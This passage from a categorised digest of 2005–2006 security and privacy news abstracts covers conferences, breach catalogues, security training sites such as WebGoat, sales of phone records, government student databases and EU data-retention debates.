To bolster the value of wireless voice and data communications for U.S. homeland security purposes, industry and government officials need to work closer together, security experts at Cellular Telecommunications & Internet Association (CTIA) Wireless 2005 said last week. The consensus among experts from the Federal Communications Commission and Department of Homeland Security who took part in a panel discussion was that wireless technologies have improved since the September 11, 2001, terrorist attacks. But they said much remains to be done to set up effective warning systems in the event of a terrorist or natural disaster and to improve interoperability of wireless devices for emergency responders. The toughest issue for police, firefighters and other emergency responders may be the widespread lack of interoperability between public safety networks and devices, experts said. Several panelists called for development of emergency warning systems to notify a large group of people of an emergency, similar to one county officials use in Arlington, VA. That system is used by police and fire officials to call residents over wired or wireless phones, or the Internet, to warn them of traffic disasters or crimes. CTIA: http://www.ctia.org

---

Category 37.7 Conferences

2005-03-21 **information technology IT physical perimeter security manager responsibility Business Continuity Expo London**

DHS IAIP Daily; http://news.zdnet.co.uk/internet/security/0,39020375,3919183 9,00.htm

PHYSICAL SECURITY BECOMING AN IT PROBLEM.

The proliferation of technologies such as identity management mean more IT managers are having to take responsibility for physical security, according to a panel of leading IT security managers. Speaking at the Business Continuity Expo in London's Docklands, IT security experts from the Royal Mail Group, Proctor & Gamble and Barclaycard acknowledged that their companies are increasingly merging systems used to authenticate employees' entry to physical facilities with those used to control access to computing resources. David McCaskill, manager for global security solutions at Proctor & Gamble, explained that the pharmaceutical giant had also integrated its physical and IT authentication systems. "Before, if you forgot your passcard to access the building that wasn't a major problem, but now it is." Companies have generally treated physical security as the responsibility of the facilities department and computer security as that of IT. But employee information has increasingly become integrated, allowing businesses to link the two systems, said Steve Hunt, an analyst with Forrester Research.

Category 37.7 Conferences

2005-11-25 **Iowa State University Cyber Defense competition network security skills practice**

DHS IAIP Daily;
http://www.iowastatedaily.com/media/paper818/news/2005/11/18 /News/Students.Fight.It.Pros.In.Hacker.Competition−1110048.s html?norewrite&sourcedomain=www.iowastatedaily.com

STUDENTS FIGHT IT PROS IN HACKER COMPETITION

Students at Iowa State University competed in the university's second-annual Cyber Defense Competition on Friday, November 18 through Saturday, November 19. During the event, several student teams competed against a group of Internet technology professionals whose job it is to hack into and disrupt each team's network. Thad Gillispie, a graduate student in electrical and computer engineering, said that the students had a chance to see what they really know about network security as well as learn more. It also provides the students with an opportunity to see Internet security from a point of view that is not often represented and helps them start to appreciate Internet services being there when they want them, Gillispie said.

37.8 Web sites

Category 37.8 *Web sites*

2005-05-19 **privacy data theft confidentiality breaches personal information control databases summary**

RISKS 23 88

PRIVACY JOURNAL LISTS DATA LEAKAGE & DATA THEFTS IN 1Q2005

Robert Ellis Smith, publisher of the _Privacy Journal_, published a summary of some of the major losses of control and confidentiality in the first quarter of the year 2005:

To appreciate THE CUMULATIVE EFFECT, Privacy Journal newsletter in its May issue compiled the following list of breaches of sensitive personal information, disclosed just since January. It's not an atypical list for a three-month period, but breaches are obviously getting more press attention.

* Tepper School of Business at Carnegie Mellon University reported that a hacker had access to Social Security numbers and other sensitive personal information relating to 5000 or more graduate students, staff, and alumni. Another department at the university is responsible for receiving complaints of Internet breaches and solving them.

* Tufts University notified 106,000 alumni, warning of "abnormal activity" on its fund-raising computer system listing names, addresses, phone numbers, and, in some cases, Social Security numbers and credit-card account numbers.

* ChoicePoint, the insurance and employment investigative company and "information broker" based in Georgia, sold personal data on from 100,000 to 500,000 or more persons to fraud artists posing as legitimate businesses. (Still, the State of California plans to award a $340,000 contract to the Equifax-created company to gather information on suspected criminals and terrorists, according to The Sacramento Bee.)

* DSW Shoe Warehouse experienced a hacking incident involving access to an estimated 1.4 million credit-card numbers and names, 10 times more than investigators estimated at first, as well as driver's license numbers and checking-account numbers from 96,000 transactions involving other customers.

* A computer system breach at an unnamed retailer involved at least 180,000 customers, perhaps more. HSBC North America, which issues GM's MasterCard, urged all customers to replace their cards as quickly as possible because the personal data was compromised. The Wall Street Journal identified the retailer as Polo Ralph Lauren Corp., but the company insisted that in fact no information was leaked, although a computer flaw was discovered and fixed.

* Ameritrade Holding Corp., the online discount broker, informed about 200,000 current and former customers that a back-up computer tape containing their account information was lost when a package containing the data was damaged during shipping.

* Canadian Imperial Bank of Commerce, CIBC, one of Canada's leading banks, "failed to recognize" that misdirected confidential faxes sent to outside parties over a three-year period were a breach of customers' privacy that could have been prevented, according to a finding by the federal Privacy Commissioner in Canada. Bank of Montreal, Royal Bank of Canada, Scotiabank, TD Bank, and National Bank have also misdirected faxes with customer information.

* Motor vehicle departments in four states have lost personal data. The Texas Department of Public Safety mailed to 500 to 600 licensed drivers renewal documents that pertained to other persons. In March, burglars rammed a vehicle through a back wall at a Nevada Department of Motor Vehicles facility near Las Vegas and drove off with files on about 9000 people, including Social Security numbers. In April police arrested 52 people, including three examiners at the Florida Department of Motor Vehicles, in a scheme involving the sale of more than 2000 fake driver's licenses. Also, Maryland police arrested three people, including a DMW worker there, in a plot to sell about 150 fake licenses.

* A Boston-based storage company named Iron Mountain Inc., lost Time Warner Inc.'s computer back-up tapes with Social Security numbers and names of 600,000 current and former employees and dependents. This is the fourth time this year that Iron Mountain has lost tapes during delivery to a storage facility, according to The Wall Street Journal.

* Someone gained access to the personal information of 59,000 current, former, and prospective students at California State University, Chico, the university revealed in March.

* A laptop that contains about 100,000 Social Security numbers of students and personnel at the University of California, Berkeley was stolen from the school's campus.

* Someone hacked into a database at the Kellogg School of Management at Northwestern University, possibly exposing data pertaining to 21,000 individuals at Northwestern.

* More than 1600 parents discovered in January that records in the Colorado State Health Department relating to an autism study were lost. A laptop computer left in a health department employee's automobile was apparently stolen last October.

Mr Ellis kindly added this invitation:

A free copy of the current issue of Privacy Journal is available through < mailto:orders@privacyjournal.net >. Specify e-mail copy or hard copy (and include a mailing address).

Category 37.8 *Web sites*

2005-09-06 **Web application design security programming training education hands-on online free download**

RISKS; http://www.owasp.org/software/webgoat.html 24 04

WEBGOAT 3.7 - APPLICATION SECURITY HANDS-ON LEARNING ENVIRONMENT

The *only* way to learn application security is to test applications "hands on" and examine their source code. To encourage the next generation of application security experts, the Open Web Application Security Project (OWASP) has developed an extensive lesson-based training environment called "WebGoat".

WebGoat is a lessons based, deliberately insecure web application designed to teach web application security. Each of the 25 lessons provides the user an opportunity to demonstrate their understanding by exploiting a real vulnerability. WebGoat provides the ability to examine the underlying code to gain a better understanding of the vulnerability as well as provide runtime hints to assist in solving each lesson. V3.7 includes lessons covering most of the OWASP Top Ten vulnerabilities and contains several new lessons on web services, SQL Injection, and authentication.

WebGoat 3.7 is available for free download from: < http://www.owasp.org/software/webgoat.html >.

Simply unzip, run, and go to WebGoat in your browser to start learning.

The OWASP Foundation is dedicated to finding and fighting the causes of insecure software. Find out more at < http://www.owasp.org >.

Category 37.8 *Web sites*

2005-12-30 **catalog data theft leakage security breaches catalog report summary resource**

Emergent Chaos; Privacy Rights Clearinghouse

CATALOGS OF SECURITY BREACHES

Those looking for summary information about loss of control over data for use in articles or lectures may find the following resources helpful:

* Adam Shostack has put together an extensive list of brief reports on security breaches on his Website. His entries have references but few URLs. By the end of 2005, the breaches catalog included over a hundred cases of data theft and data leakage for the year starting in March. See < http://www.emergentchaos.com/archives/cat_breaches.html >

* The Privacy Rights Clearinghouse has a list of bullet points summarizing hacking incidents, lost backup tapes, compromised passwords, insider attacks, and so on. The incidents start in February 2005 and include estimates of the numbers of victims. The entries have no URLs or citations. Their total of affected people is _at least_ 52 million (!).
See < http://www.privacyrights.org/ar/ChronDataBreaches.htm >

Category 37.8 Web sites

2006-01-25 **anti-spyware malicious software Website StopBadware.org**

DHS IAIP Daily; http://www.usatoday.com/tech/news/computersecurity/2006−01−2 5−spyware_x.htm

FREE WEBSITE TO LIST PROGRAMS WITH SPYWARE.

A free Website, StopBadware.org, launched Wednesday, January 25, plans to provide a list of programs that contain spyware and other malicious software. It will also identify companies that develop the programs and distribute them on the Internet. Consumers can then decide if a program is safe to download. "For too long, these companies have been able to hide in the shadows of the Internet," says John Palfrey, who heads the Berkman Center of Internet & Society at Harvard Law School and is spearheading the project. "What we're after is a more accountable Internet." The initiative is being run by Harvard and the Oxford Institute and is backed by high-tech heavyweights including Google and Sun Microsystems. Consumer Reports' WebWatch is serving as a special adviser. In addition to spyware, the hit list of the StopBadware coalition includes malicious "adware" programs that serve up onslaughts of pop-up ads or software that contains hidden viruses and worms. By checking StopBadware.org, its organizers say, consumers can choose, in the first place, not to download a program containing the malicious software. The coalition is encouraging consumers to visit the Website to log their experiences with harmful programs. StopBadwar.org Website: http://www.stopbadware.org/

Category 37.8 Web sites

2006-01-29 **quality assurance QA spreadsheet errors education awareness training**

RISKS 24 16

SITE LISTS SPREADSHEET ERRORS

Gene Wirchenko reported on a site that lists signficant errors in spreadsheets: < http://www.eusprig.org/stories.htm >. The site is managed by the European Spreadsheet Risks Interest Group (EuSpRIG); their description reads, "These stories illustrate common problems that occur with the uncontrolled use of spreadsheets. We say how we think the problem might have been avoided. An obvious form of risk avoidance is simply to check your work before sending it out. For important spreadsheets, a second pair of eyes ('peer review') is even better. Where stakes are high, a thorough test and audit is a further defence." The group runs an annual conference that concentrates on quality assurance for spreadsheets.

Category 37.8 Web sites

2006-02-28 **Symantec Internet Threat Meter release state of security**

DHS IAIP Daily; http://news.com.com/Symantec+keeps+weather+eye+out+for+Net+threats/2100−7349_3−6043873.html?tag=cd.top

SYMANTEC LAUNCHES FREE THREAT METER.

Symantec on Tuesday, February 28, launched the Symantec Internet Threat Meter, a free service meant to inform consumers about the state of Internet security. "There are other threat indicators on the Web," Dave Cole, a director at Symantec Security Response, said. "But what was missing was a place for consumers that breaks it down in plain English and gives actionable advice." Available on the Symantec Website, the new threat meter will provide information on the current risk level associated with specific online activities: e-mail, Web surfing, instant messaging and file-sharing. Symantec Internet Threat Meter: http://www.symantec.com/avcenter/home_homeoffice/index.html

---

Category 37.8 Web sites

2006-03-01 **virus world map release F-Secure online tool**

DHS IAIP Daily; http://www.f−secure.com/news/items/news_2006030101.shtml

NEW F-SECURE WORLD VIRUS MAP OFFERS CURRENT GLOBAL PERSPECTIVE AT A GLANCE.

F-Secure has launched a comprehensive online tool for those interested in understanding the world virus situation at a glance. The resource, which was developed for research purposes at F-Secure is now available to the general public in four languages, respectively English, French, German and Finnish. F-Secure World Map: http://worldmap.f-secure.com/vwweb_1_2/en/previous_day

---

Category 37.8 Web sites

2006-03-15 **SiteAdvisor spyware quiz categories adware**

DHS IAIP Daily;
http://www.techweb.com/wire/security/181504133;jsessionid=NW
EB3IBSWCXDGQSNDBCSKHSCJUMEKJVN

QUIZ REVEALS SPYWARE CHICANERY.

Security vendor SiteAdvisor unveiled an online quiz Wednesday, March 15, that tests consumers' ability to spot sites hosting spyware and adware. Dubbed "Spyware Quiz" by SiteAdvisor, the 12-URL test covers five categories of sites notorious for distributing adware and spyware, including those dedicated to screensavers, smileys (emoticons), games, musical lyrics, and file sharing. SiteAdvisor's spyware quiz: http://www.siteadvisor.com/quizzes/spyware_0306.html

---

Category 37.8 Web sites

2006-03-27 **Microsoft public bug database Internet Explorer IE feedback open disclosure**

DHS IAIP Daily; http://news.zdnet.co.uk/software/applications/0,39020384,392
59531,00.htm

MICROSOFT CREATES PUBLIC BUG DATABASE FOR INTERNET EXPLORER.

Microsoft is for the first time encouraging people to give public feedback on Internet Explorer (IE), with the creation of a bug database for the next version of its browser, IE 7 beta. The bug database is accessible from the Microsoft Connect site and can be accessed by anyone that has a Microsoft Passport account.

37.9 White papers

Category 37.9 *White papers*

2005-05-09 **National Institute of Standards and Technology NIST report cryptographic key management recommendation draft**

DHS IAIP Daily; http://www.fcw.com/article88818−05−09−05−Web

NIST RELEASES REPORT ON CRYPTOGRAPHY KEYS

National Institute of Standards and Technology (NIST) officials have some advice for managing cryptographic keys. NIST recently released a draft document, "Draft Special Publication 800-57: Recommendation for Key Management," that is now available on the agency's Website for public review and comment. Poorly managed keys can easily compromise even the strongest cryptographic algorithms, according to the document written for systems administrators and software developers. The two-part document classifies cryptographic key types, their uses and the methods for protecting each type. Part 1: http://csrc.nist.gov/publications/drafts/draft-800-57-Part1- April2005.pdf Part 2: http://csrc.nist.gov/publications/drafts/draft-800-57-Part2- April2005.pdf

37.A Books

Category 37.A *Books*

2006-01-29 **software quality assurance QA textbook**

RISKS 24 16

GARY MCGRAW ON SOFTWARE SECURITY

Gary McGraw (2006). Software Security: Building Security In.
Addison-Wesley (ISBN 0-321-35670-5)

This book is a "hands-on, how-to guide for software security" for software security professionals. It completes a trilogy together with McGraw's Building Secure Software (Addison-Wesley, 2001) and Exploiting Software (Addison-Wesley, 2004), but it also stands alone as a useful book. It considers best practices for software security in detail, as a fundamental part of the development lifecycle. It is very much in the spirit of what RISKS has promulgated in the past 20.5 years.

[Review by Peter G. Neumann]

38.1 Consumer / employee / individual profiling & surveillance (non-governmental)

Category 38.1 *Consumer / employee / individual profiling & surveillance (non-governmental*

2006-01-24 **study survey Google personal data privacy 77% users ignorant**

DHS IAIP Daily; http://www.theregister.co.uk/2006/01/24/google_privacy_poll/

77% OF GOOGLE USERS DON'T KNOW IT RECORDS PERSONAL DATA.

More than three quarters of Web surfers don't realize Google records and stores information that may identify them results of a new opinion poll show. The phone poll which sampled over 1000 Internet users was conducted by the Ponemon Institute. Google maintains a lifetime cookie that expires in 2038 and records the user's IP address. But more recently it has begun to integrate services which record the user's personal search history e-mail shopping habits and social contacts. After first promising not to tie its e-mail service to its search service Google went ahead and opted its users in anyway. It's all part of CEO Eric Schmidt's promise to create a "Google that knows more about you."

38.2 Trade in personal information

Category 38.2 Trade in personal information

2004-12-21 **wireless phone directory assistance Connecticut privacy consumer information**

NewsScan; http://www.usatoday.com/tech/wireless/phones/2004-12-21-mobile411_x.htm

CONTROVERSY OVER WIRELESS PHONE DIRECTORY

Connecticut Attorney General Richard Blumenthal wants the cellular phone industry to discard its plans to create a directory assistance system for wireless phone numbers because there are "too many unknowns and dangers and too few protections at this point." But Kathleen Pierz, a Michigan analyst specializing in directory assistance counseling, says there are plenty of safeguards: "This is so buttoned up from a customer point of view, people don't have to worry. Blumenthal fears that a list of wireless numbers would inevitably be sold to telemarketers: "If the lists are there, they will be sold. They are so valuable. No cell phone company will resist the temptation to sell those lists for the huge profits." Pierz, however, points out that there is no marketing value to such lists because of existing federal laws preventing entities from calling a cell phone. (AP/USA Today 21 Dec 2004)

Category 38.2 Trade in personal information

2005-03-15 **privacy central federal government database identification authentication sabotage corruption integrity**

RISKS 23 79

CENTRALIZED PRIVACY RIGHTS MECHANISM RAISES SECURITY QUESTIONS

Curt Sampson contributed useful pointers and serious questions about a proposal for a central registry for protecting information privacy:

>Bruce Schneier, on his blog recently, mentioned the paper "A Model Regime of Privacy Protection" by Daniel J. Solove & Chris Jay Hoofnagle. His link and discussion is at
http://www.schneier.com/blog/archives/2005/03/ideas_for_priva.html

The paper's abstract and a link to download it can be found at
http://papers.ssrn.com/sol3/papers.cfm?abstract_id=681902

There are a lot of good ideas in this paper, but one in particular struck me as potentially unwise, and certainly underdeveloped:

In conjunction with the universal notice, the FTC shall develop a centralized mechanism for people to exercise their rights with respect to their personal information. Such a mechanism would mimic the Do Not Call website, which allows individuals to opt-out of telemarketing and verify their enrollment by visiting a single website.

Many interesting RISKS are raised by this. How do you identify the people in the opt-out registry? How do you authenticate requests to deny distribution of certain information? (A malicious person might try to cause difficulties for someone by forging a request to deny all credit data to potential lenders.) How do you determine who may or may not search the registry or read information in it? How do you keep this from acting as the "central key" to all the information on a person, effectively moving us closer to having One Central Database, with all of the problems that brings?

There's a huge can of worms here waiting to be opened.

Personally, my first instinct would be to avoid such a central registry and instead make it the responsibility of the data collectors to contact each individual with information about what they're collecting and how they're using it, and solicit permission to do so, as well as offer the ability to review the information. This avoids any centralized system, and also avoids certain types of error. For example, if I'm contact regarding a file that appears to have nothing to do with me, I can point that out, rather than have a company mistakenly believe that this file does correspond with my life. (Or I might just say it does, and use the information for identity theft. Who knows?)<

Category 38.2 *Trade in personal information*

2005-03-23 **US Department of Education national database college students criticism civil liberties privacy concerns Social Security Numbers**

EDUPAGE; http://www.insidehighered.com/news/2005/03/23/unit

CRITICISM MOUNTS FOR FEDERAL STUDENT DATABASE

The U.S. Department of Education has proposed creating a national database of college students, but the idea has drawn heavy criticism for its use of Social Security numbers to identify individuals. The current system for reporting student progress, the Integrated Postsecondary Education Data System, reports aggregate data for institutions and cannot accurately track students who start at one college or university and transfer to another. The proposed database would track individuals, offering more accurate data for graduation rates and other statistics, but some argue that those gains would come at the expense of student privacy. David Baime, vice president of government relations for the American Association of Community Colleges, said that despite the benefits to community colleges in particular from such a system, his organization opposes the plan "primarily due to privacy concerns, expressed to us by our members." David L. Warren, president of the National Association of Independent Colleges and Universities, said, "The proposal takes us down the slippery slope toward Big Brother oversight of college students, and of those same citizens beyond their college years." Inside Higher Ed, 23 March 2005

Category 38.2 *Trade in personal information*

2005-06-23 **privacy Social Security Numbers SSN database recruitment privacy security safety system design**

RISKS 23 93

DoD MILITARY RECRUITMENT DATABASE INCLUDES SSN

The Defense Department has begun working with BeNow Inc, a private marketing firm, to create a database of high school students ages 16 to 18 and all college students to help the military identify potential recruits in a time of dwindling enlistment in some branches.

The program is provoking a furor among privacy advocates. The new database will include personal information including birth dates, Social Security numbers, e-mail addresses, grade-point averages, ethnicity and what subjects the students are studying.

Chris Jay Hoofnagle, West Coast director of the Electronic Privacy Information Center, called the system "an audacious plan to target-market kids, as young as 16, for military solicitation." He added that collecting Social Security numbers was not only unnecessary but posed a needless risk of identity fraud. Theft of Social Security numbers and other personal information from data brokers, government agencies, financial institutions and other companies is rampant. "What's ironic is that the private sector has ways of uniquely identifying individuals without using Social Security numbers for marketing."

The Pentagon statements said the military is "acutely aware of the substantial security required to protect personal data," and that Social Security numbers will be used only to "provide a higher degree of accuracy in matching duplicate data records."

[Abstract by Peter G. Neumann]

Category 38.2 *Trade in personal information*

2005-06-23 **Department of Defense DoD student database EPIC civil liberties privacy concerns trade in consumer information**

EDUPAGE; http://www.insidehighered.com/news/2005/06/23/database

DEFENSE DEPARTMENT TO CREATE VAST STUDENT DATABASE

Officials at the U.S. Department of Defense (DoD) have proposed the creation of a database containing information on virtually every college student in the country, as well as many high school students. Intended as a tool to aid recruitment efforts, the database would include names, phone numbers, Social Security numbers, addresses, birth dates, ethnicities, grade point averages, and other data. The DoD's database bears similarities to another database proposed by the Department of Education. That database would track individual students through their college careers, providing a clearer picture of graduation rates than current records, which track only aggregate rates from institutions. The Education Department's proposed database has drawn criticism from privacy advocates, who see it as a potential risk to privacy. The DoD proposal has similarly elicited complaints from groups such as the Electronic Privacy Information Center (EPIC). According to EPIC, the database would be a "bad idea," putting tools of direct marketers in the hands of government officials but without affording consumers the same protections from government that they enjoy from marketers. Inside Higher Ed, 23 June 2005

Category 38.2 *Trade in personal information*

2005-07-08 **EPIC data broker investigation FTC cell phone records trade in personal information**

EDUPAGE; http://online.wsj.com/article/0,,SB112077534843280100,00.html

EPIC CALLS FOR INVESTIGATION OF DATA BROKERS

The Electronic Privacy Information Center (EPIC) this week filed a complaint with the Federal Trade Commission (FTC) asking the agency to investigate the business practices of companies that sell information such as cell phone records. The complaint focuses on a company called Intelligent e-Commerce Inc., which sells information including cell phone records and the identities of holders of post office boxes. In its complaint, EPIC contends that the collection and sale of such information likely violates federal regulations or statutes and asks the FTC to force Intelligent e-Commerce to discontinue the sale of such information pending a full investigation. According to EPIC, some data brokers obtain information fraudulently by pretending to be someone who is authorized to access that information. A spokesperson for Intelligent e-Commerce Inc. said company officials and attorneys are not aware of any laws that they are breaking. Wall Street Journal, 8 July 2005 (sub. req'd)

Category 38.2 *Trade in personal information*

2005-09-09 **civil liberties privacy organization United Kingdom UK EFF Open Rights Group ORG**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4225938.stm

DIGITAL RIGHTS ORGANIZATION OPENS IN UK

Modeled on the Electronic Frontier Foundation (EFF) in the United States, a new organization is being launched in the United Kingdom to protect the rights of users of digital resources. According to the Web site of the Open Rights Group (ORG), the group will work to "vigorously defend our digital civil liberties, ensuring that the our hard-won freedoms are not taken away simply because they've moved to the digital world." Suw Charman, one of the group's co-founders, said that ORG intends not to replace but to work alongside organizations with similar goals, of which several already exist in the United Kingdom and Europe, including the Campaign for Digital Rights, the Foundation for Information Policy Research, and the Foundation for a Free Information Infrastructure. Officials from the rights group Citizens Online expressed skepticism that ORG efforts would be appropriately inclusive. Citizens Online worried that ORG's focus would be "middle class" issues, ignoring technology issues concerning people with disabilities and the digital divide. BBC, 9 September 2005

Category 38.2 Trade in personal information

2006-01-12 **surveillance privacy law enforcement cell mobile phone records logs**

RISKS 24 15

CELL PHONE CALL RECORDS FOR SALE TO ANYONE

Locatecell.com seems to have a good thing going. According to this Chicago Sun Times story:

To test the service, the FBI paid Locatecell.com $160 to buy the records for an agent's cell phone and received the list within three hours, the police bulletin said.

Representatives of Data Find Solutions Inc., the Tennessee-based operator of Locatecell.com, could not be reached for comment.

Frank Bochte, a spokesman for the FBI in Chicago, said he was aware of the Web site.

"Not only in Chicago, but nationwide, the FBI notified its field offices of this potential threat to the security of our agents, and especially our undercover agents," Bochte said.

Funny how the FBI's first reaction is to go on the defensive. Funny how this is a big surprise to the FBI.

The Chicago Sun-Times paid $110 to Locatecell.com to purchase a one-month record of calls for this reporter's company cell phone. It was as simple as e-mailing the telephone number to the service along with a credit card number.

Locatecell.com e-mailed a list of 78 telephone numbers this reporter called on his cell phone between Nov. 19 and Dec. 17. The list included calls to law enforcement sources, story subjects and other Sun-Times reporters and editors.

Cheating spouse? Disloyal employees? Need to find out what your competition is doing? Hey, no problem. Telecom services are just information services these days.

[Contributed by Lauren Weinstein]

Category 38.2 Trade in personal information

2006-02-08 **privacy protection private phone record Website shut down FTC EPIC**

DHS IAIP Daily; http://www.nytimes.com/aponline/technology/AP−Phone−
Records. html?_r=1&oref=slogin

WEBSITES HAWKING PHONE RECORDS SHUT DOWN.

Following a wave of negative publicity and pressure from the government, several Websites that peddled people's private phone records are calling it quits. "We are no longer accepting new orders" was the announcement posted Wednesday, February 8, on two such sites, locatecell.com and celltolls.com. The Federal Trade Commission (FTC) this week conducted a sweep of 40 sites known to have been selling private phone records. According to the FTC's Lydia Parnes, more than 20 sites have recently shut down or stopped advertising for new business. The agency has sent letters to about 20 other sites, warning them that they may be violating the law and should review their business practices, said Parnes, director of the FTC's Bureau of Consumer Protection. While some sites appear to be closing up shop, others have seen a boom in business with the recent media attention, said Marc Rotenberg, executive director of the Electronic Privacy Information Center. Rotenberg urged lawmakers to ban a practice known as "pretexting," in which data brokers or others call a phone company, impersonate a customer and then persuade the company to release the calling records.

Category 38.2 *Trade in personal information*

2006-03-21 **IRS Internal Revenue Service tax information brokers marketers privacy confidentiality control opt-in sharing liability responsibility**

RISKS; Philadelphia Inquirer http://tinyurl.com/puqul ; MediaMatters http://tinyurl.com/k2t29 24 21

IRS PLANS TO ALLOW TAX-PREPARERS TO SELL CLIENT DATA

Chris Hoofnagle reported in RISKS on news that the IRS was pushing for new rules allowing commercial tax preparers to sell information from tax returns. "If consent is given, the FULL RETURN can be given to other entities for marketing purposes, and the tax preparer does not have to even ensure that these other entities are legit or following the preparer's privacy policy."

Jeff Gelles of the Philadelphia Inquirer wrote, "The change is raising alarm among consumer and privacy-rights advocates. It was included in a set of proposed rules that the Treasury Department and the IRS published in the Dec. 8 Federal Register, where the official notice labeled them 'not a significant regulatory action.' IRS officials portray the changes as housecleaning to update outmoded regulations adopted before it began accepting returns electronically. The proposed rules, which would become effective 30 days after a final version is published, would require a tax preparer to obtain written consent before selling tax information. Critics call the changes a dangerous breach in personal and financial privacy. They say the requirement for signed consent would prove meaningless for many taxpayers, especially those hurriedly reviewing stacks of documents before a filing deadline."

Media watchdog MediMatters For America reported that "On the CBS Evening News, Washington correspondent Bob Orr characterized a recent Internal Revenue Service (IRS) regulations proposal allowing tax return preparers to sell information from returns to third parties as spelling out a 'loophole of sorts' that has 'been around for more than 30 years.' In fact, in permitting sales to third parties, the new proposal would allow tax preparers to do something they are not currently permitted to do; under current law, they can pass on such information only to affiliates."

The US Public Interest Research Group (U.S. PIRG) established a Web site to cover this developing issue. < http://www.uspirg.org/uspirg.asp?id2=24620 >

38.3 Industry efforts for individual privacy protection

Category 38.3 Industry efforts for individual privacy protection

2005-03-25 **intellectual property entertainment policy initiative cooperation**

RISKS; http://www.eepi.org 23 81

EEPI - ELECTRONIC ENTERTAINMENT POLICY INITIATIVE

Long-time privacy advocate Lauren Weinstein wrote:

I'm pleased to announce "EEPI" (http://www.eepi.org), a new initiative aimed at fostering cooperation in the areas of electronic entertainment and its many related issues, problems, and impacts.

I've teamed with 30+ year recording industry veteran Thane Tierney in this effort to find cooperative solutions to technical, legal, policy, and other issues relating to the vast and growing range of electronic technologies that are crucial to the entertainment industry, but that also impact other industries, interest groups, individuals, and society in major ways.

There are many interested parties, including record labels, film studios, the RIAA, the MPAA, artists, consumers, intellectual freedom advocates, broadcasters, manufacturers, legislators, regulators, and a multitude of others.

The issues cover an enormous gamut from DVDs, CDs, and piracy issues to multimedia cell phones, from digital video recorders to Internet file sharing/P2P, from digital TV and the "broadcast flag" to the Digital Millennium Copyright Act (DMCA) and "fair use" controversies.

Working together, rather than fighting each other, perhaps we can all find some broadly acceptable paths that will be of benefit to everyone.

For more information, please see the EEPI Web site at:

http://www.eepi.org

A moderated public discussion list and an EEPI announcement list are now available at the site.

Public participation is cordially invited. Thank you very much.

Lauren Weinstein lauren@pfir.org or lauren@vortex.com or lauren@eepi.org +1 (818) 225-2800
http://www.eepi.org
http://www.pfir.org/lauren
http://lauren.vortex.com
http://www.pfir.org
http://www.vortex.com

Category 38.3 Industry efforts for individual privacy protection

2006-02-10 **EFF warning Google Desktop remote information file storage hacker target**

DHS IAIP Daily;
http://security.ithub.com/article/EFF+Dont+Use+Google+Deskto
p/171267_1.aspx

EFF: DON'T USE GOOGLE DESKTOP.

A high-profile privacy watchdog group has a terse warning for business and consumer users: Do not use the new version of Google Desktop. The nonprofit Electronic Frontier Foundation (EFF) said a new feature added to Google Desktop on Thursday, February 9, is a serious privacy and security risk because of the way a user's data is stored on Google's servers. The new "Share Across Computers" feature stores Web browsing history, Microsoft Office documents, PDF and text files on Google's servers to allow a user to run remote searches from multiple computers, but, according to the EFF, this presents a lucrative target to malicious hackers. Google said users can use a "Clear my Files" button to manually remove all files from its servers or a "Don't Search These Items" preference to remove specific files and folders from the software's index.

38.4 International agreements on security, individual privacy, Net law

Category 38.4 *International agreements on security, individual privacy, Net law*

2006-04-19 **Russia call unity Internet crime fight**

DHS IAIP Daily; http://www.informationweek.com/showArticle.jhtml;jsessionid=D0MGLIXG0NEWAQSNDBECKHSCJUMEKJVN?articleID=186100209

RUSSIA CALLS FOR UNITY TO FIGHT INTERNET CRIME.

The world should unite against online criminals because they could cause as much harm as deadly weapons, Russia's interior minister said on Wednesday, April 19. Russian hackers are notorious, and the country is often identified as a center for extortion from Internet bookmakers, banks and other businesses. Several damaging viruses are believed to have originated in Russia. Interior Minister Rashid Nurgaliyev said the frequency of such attacks was increasing, with potentially catastrophic consequences.

38.5 EU case law, legislation & regulation concerning individual privacy (not govt surveillance)

Category 38.5 *EU case law, legislation & regulation concerning individual privacy (not govt s*

2005-09-15 **Holland Netherlands Dutch Ministry of Health citizen tracking permanent government agencies**

EDUPAGE; http://www.wired.com/news/privacy/0,1848,68866,00.html

DUTCH TO TRACK ALL CITIZENS, FOREVER

Beginning in 2007, the Dutch Ministry of Health will begin tracking all citizens of the country in a single database from their births to their deaths. Each person will be added to the database at birth, with health and family information included. As people in the database age, information from schools, doctors, and the police will be added. In an effort to protect privacy, no individual will be permitted to see any person's complete file. Various governmental agencies, however, will be able to add "red flags" to a file if they notice something that might be cause for concern, according to Jan Brouwer, spokesperson for the Health Ministry. Brouwer suggested that someone at child protection services might find that for an individual, red flags had been added by the police, the school, and a doctor, which would likely indicate a problem that should be addressed. Truancy is often correlated with criminality, for example, and the new database will allow tracking such patterns. Wired News, 15 September 2005

Category 38.5 *EU case law, legislation & regulation concerning individual privacy (not govt s*

2005-09-26 **Europe EU data retention plans criticism terrorism anti-terrorism Convention on Human rights civil liberties Internet phone logging**

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/12746814.htm

EU DATA-RETENTION PLANS DRAW CRITICISM

Peter Hustinx, data protection supervisor for the European Union (EU), has voiced his criticism of two antiterrorism proposals for their stance on data retention. Neither the proposal by the European Commission nor one drafted by EU governments makes a compelling case for holding on to sensitive data as part of antiterrorism efforts, said Hustinx. The EU proposal, he noted, would allow for the retention of information such as times of phone calls for up to three years. Hustinx said that any measures put forth should comply with the European Convention on Human Rights. Those that do not are "not just unacceptable but illegal." The chair of the EU negotiations, British Home Secretary Charles Clarke, is urging European governments to forgo some measure of civil liberties in return for broader authority for law enforcement to investigate suspected terrorists. San Jose Mercury News, 26 September 2005

Category 38.5 *EU case law, legislation & regulation concerning individual privacy (not govt s*

2006-02-09 **Europe Web security improvement urge EU media commissioner online threats**

DHS IAIP Daily;
http://news.yahoo.com/s/ap/20060209/ap_on_hi_te/eu_internet_
security;_ylt=AqJsTFxWQORMKXpiJ5yFMsAjtBAF;_ylu=X3oDMTA5aHJv
MDdwBHNlYwN5bmNhdA−−

EUROPE URGED TO IMPROVE WEB SECURITY.

Europe must work harder to make the Internet more secure as the nature of online threats becomes increasingly criminal across the 25-nation bloc, a senior EU official warned Thursday, February 9. "We are still far from achieving the goal of secure and reliable networks that protect confidential and reliable information," said Viviane Reding, the EU's media commissioner, at a conference on trust in the Internet. Almost 80 percent of EU citizens are concerned about Internet security and half do not engage in electronic commerce because they worry about having their personal financial data stolen on the Web, she said. Speaking via video link from Brussels, Reding stressed the importance of international cooperation in promoting user trust in the Web and said she would soon announce a "strategy for enhanced security."

